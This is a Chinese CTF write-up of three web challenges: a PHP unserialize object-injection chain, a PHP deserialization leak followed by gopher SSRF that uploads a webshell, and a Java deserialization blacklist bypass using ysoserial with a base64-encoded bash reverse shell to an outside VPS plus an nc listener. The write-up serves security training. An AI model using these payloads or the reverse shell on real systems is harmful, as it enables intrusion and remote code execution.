扫描得到网站备份文件,查看源代码发现是反序列化题目
Class.php
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
有player
、topsolo
、midsolo
、jungle
这几个类,获取flag
的方法在jungle
类中。
common.php
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
read
和write
为序列化的读写方法,且过程为\0*\0
和chr(0)."*".chr(0)
替换的互逆,check
是对内容进行判断是否包含check
方法
Index.php
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}
?>
序列化入口,获取username
和password
然后作为参数传入player
类的构造函数,接着序列化player
类对象,然后将通过write
处理序列化字符串并写入文件内。
Play.php
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>
反序列化入口,首先通过check
函数检查然后通过read
函数读取序列化字符串进行反序列化。
对象注入
序列化和反序列化涉及read
和write
处理不够严谨,可以在username
和password
初进行再对象注入。
在序列化时username
处注入\0*\0
,可以发现字符串的长度是5
,但是反序列化前通过read替换序列化字符串中的\0*\0
变成chr(0) . "*" . chr(0)
,长度变成了3
。
反序列化时会根据序列化时的长度进行计算取值,吃掉了后面两个字符串作为内容,也就是在username
处每注入一个\0*\0
就能向后吃掉两个字符串。
此时在username
和password
处精心构造,username
吞字符串直到可控的password
前,形成内联的序列化字符串注入
$username = '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0';
$password = "\";s:7:\"" . '\\0*\\0' . "pass\";s:4:\"BBBB" ;
序列化字符串为:
O:6:"player":3:{s:7:"\0*\0user";s:55:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:27:"";s:7:"\0*\0pass";s:4:"BBBB";s:8:"\0*\0admin";i:0;}
反序列化的对象为:
object(player)#1 (3) {
["user":protected]=>
string(55) "***********";s:7:"*pass";s:27:""
["pass":protected]=>
string(4) "BBBB"
["admin":protected]=>
int(0)
}
User
类的pass
成员已经可以任意对象注入
需要利用common.php
中的几个类构造Chain
。
给player::pass
注入topsolo
对象,topsolo
的name
成员为midsolo
对象,会被check
函数阻止,这里使用S
加上十六进制nam\65
绕过check
函数。
析构函数会调用TP方法,然后调用midsolo
的__invoke
,midsolo
的name
成员为jungle
类,但是__wakeup
这里做了过滤限制为字符串,这里修改midsolo
序列化字符串里对象属性个数的值大于真实的属性个数,__wakeup
就不会触发,过滤就会失效,然后调用gank
方法在stristr
函数中调用的__toString
方法,获取Flag
。
构造恶意的topsolo
对象:
$jungle = new jungle();
$midsolo = new midsolo($jungle);
$topsolo = new topsolo($midsolo);
var_dump(serialize($topsolo));
//O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}
整体的结构为:
object(topsolo)#3 (1) {
["name":protected]=>
object(midsolo)#2 (1) {
["name":protected]=>
object(jungle)#1 (1) {
["name":protected]=>
string(7) "Lee Sin"
}
}
}
修改序列化字符串绕过check
和__wakeup
O:7:"topsolo":1:{S:7:"*nam\65";O:7:"midsolo":2:{S:7:"*nam\65";O:6:"jungle":1:{S:7:"*nam\65";s:7:"Lee Sin";}}}
最后生成POC:
$username = '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0' . '\\0*\\0';
$username = (urlencode($username));
$password = "A\";s:7:\"*pass\";O:7:\"topsolo\":1:{S:7:\"*nam\\65\";O:7:\"midsolo\":2:{S:7:\"*nam\\65\";O:6:\"jungle\":1:{S:7:\"*nam\\65\";s:7:\"Lee Sin\";}}}";
$password = str_replace('*', '\\0*\\0', $password);
$password = (urlencode($password));
echo 'username=' . $username . '&password=' . $password;
注入的序列化字符串:
O:6:"player":3:{s:7:"\0*\0user";s:60:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:140:"A";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0nam\65";O:7:"midsolo":2:{S:7:"\0*\0nam\65";O:6:"jungle":1:{S:7:"\0*\0nam\65";s:7:"Lee Sin";}}}";s:8:"\0*\0admin";i:0;}
http://eci-2zeiat1sz4y14j48qk45.cloudeci1.ichunqiu.com/?username=%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=A%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D
访问play.php
index.php
<?php
highlight_file(__FILE__);
$flag=file_get_contents('ssrf.php');
class Pass
{
function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age,$sex,$num;
function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}
ssrf.php
的内容放在$flag
里面,需要利用Pass::read
进行输出,但是输出的内容为global $result
,因此还首先需要在User::__destruct
中global $$a;$result=$GLOBALS['flag'];
进行变量覆盖完成对$result
的赋值。
因为ob_start()
和ob_end_clean()
的原因,输出进入缓冲区并被清楚,还需要想办法输出缓冲区内容才能获得$flag
。
因此需要构建一个数组包含两个元素,第一个元素走完User::__destruct
完成变量覆盖,第二个元素需要绕过缓冲区进行输出。
构造POC如下
$user1 = new User();
$user1->sex = 'read';
$user1->age = new Pass();
$user1->num = 'result';
$user2 = new User();
$user2->sex = 'read';
$user2->age = new Pass();
$user2->num = 'this';
$exp = array($user1, $user2);
$exp = serialize($exp);
数组内两个对象均为User
对象,第一个对象赋值flag到global $result
,第二个对象利用global $this
在ob_end_clean();
进行报错,会直接输出已经进入缓冲区的内容。
发送POC
http://39.98.131.124/?x=a:2:{i:0;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:6:%22result%22;}i:1;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:4:%22this%22;}}
获取ssrf.php的内容如下
<?php
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
?>
进行端口扫描
40000端口存在web服务
源码如下:
<!DOCTYPE html>
<html>
<head>
<title>Message Board</title>
<link rel="stylesheet" href="css/bootstrap.min.css" />
</head>
<body>
<div class="container" style="text-align:center;vertical-align:middle;">
<div class="row" style="text-align:center;vertical-align:middle;">
<h1>Message Board </h1>
</div>
<div class="row">
<br><br>
<p class="lead">
Since there is only one administrator, a person can only submit one opinion at a time.
Each time a new opinion is submitted, all old comments will be deleted
<br><br>
</p>
</div>
<br>
<div class="row" style="text-align:center;vertical-align:middle;">
<form method="POST" class="form-inline">
<div class="form-group">
<input class='form-control' type="text" name="file">
</div>
<div class='panel-body'>
<textarea class='form-control' name='content' rows='6'></textarea>
<br>
<br>
<div class="form-group">
<button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Submit</button>
</div>
</form>
</div>
直接使用gopher协议进行POST文件上传,内容为2222:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher%3A%2F%2F127.0.0.1%3A40000%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%3A40000%250d%250aCookie%3APHPSESSID%3Drai4over%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A+23%250d%250a%250d%250afile%3D1.php%26content%3D2222
文件上传位置为:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://127.0.0.1:40000/uploads/rai4over/1.php
文件上传成功,尝试传小马,但是发现对content
文件内容进行了过滤,比如出现开头的<?
、=
等字符串就会写入失败。
这里可以使用伪协议php://filter/convert.base64-decode/resource=
进行base64编码,不过内容字符长度需要为3的倍数不然编码后会出现=
,就会写入失败。
$url = 'http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=';
$cmd = '|<?=`ls -l ../../../../../`?>|';
$cmd = base64_encode($cmd);
$filename = 'php://filter/convert.base64-decode/resource=1.php';
$x = 'file=' . $filename . '&content=' . $cmd;
$url = $url . urlencode('gopher://127.0.0.1:40000/_POST / HTTP/1.1%0d%0aHost: 127.0.0.1:40000%0d%0aCookie:PHPSESSID=rai4over%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: ' . strlen($x) . '%0d%0a%0d%0a' . ($x));
file_get_contents($url);
找到Flag位置如下
修改payload为|<?=`cat ../../../../../flag`?>|a
,获取flag
查看源码,发现反序列化位置:
@PostMapping("/jdk_der")
@ResponseBody
public String jdk_der(@RequestBody byte[] input) {
try {
ByteArrayInputStream bais = new ByteArrayInputStream(input);
SafeObjectInputStream ois = new SafeObjectInputStream(bais);
return (String) system_properties.get((String) ois.readObject());
} catch (Exception e) {
e.printStackTrace();
return "Something error.....";
}
}
进行了黑名单过滤:
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
String[] black_list = new String[] {
"java.util.HashMap",
"com.sun.jndi.rmi.registry.RegistryContext",
"sun.reflect.annotation.AnnotationInvocationHandler",
"java.util.PriorityQueue",
"java.util.HashSet",
"java.util.Hashtable",
"org.apache.commons.fileupload.disk.DiskFileItem",
"org.hibernate.engine.spi.TypedValue",
"java.util.LinkedHashSet",
"sun.rmi.server.UnicastRef",
"java.rmi.server.UnicastRemoteObject",
"javax.management.openmbean.TabularDataSupport",
"java.util.Hashtable",
"org.mozilla.javascript.NativeJavaObject",
"org.springframework.core.SerializableTypeWrapper",
"javax.management.BadAttributeValueExpException",
"org.springframework.beans.factory.ObjectFactory",
"org.codehaus.groovy.runtime.ConvertedClosure",
"xalan.internal.xsltc.trax.TemplatesImpl",
"java.lang.Runtime"
};
但并不全,可以参考shiro直接使用JRMPClient
进行绕过,查看依赖有非常好用的cc
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
直接就能RCE
VPS上运行ysoserial,监听在9999端口:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuMjEwLjIzLjE4NC83Nzc3IDA+JiAx}|{base64,-d}|{bash,-i}"
然后vps监听7777端口,用于shell回连:
nc -l 7777
然后向目标发送payload
# coding=utf-8
import subprocess
import requests
if __name__ == '__main__':
url = "http://39.101.166.142:8080/jdk_der"
vps = "103.210.23.184:9999"
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', vps],
stdout=subprocess.PIPE)
file_body = popen.stdout.read()
rs = requests.post(url, data=file_body).text
print(rs)
shell回连成功
ctf2@iZ8vb769r8zjakxybwzbenZ:/$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
ctf2@iZ8vb769r8zjakxybwzbenZ:/$ cat flag
cat flag
flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3}
ctf2@iZ8vb769r8zjakxybwzbenZ:/$
http://www.jackson-t.ca/runtime-exec-payloads.html
https://www.cnblogs.com/tr1ple/p/11876441.html
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/139731.html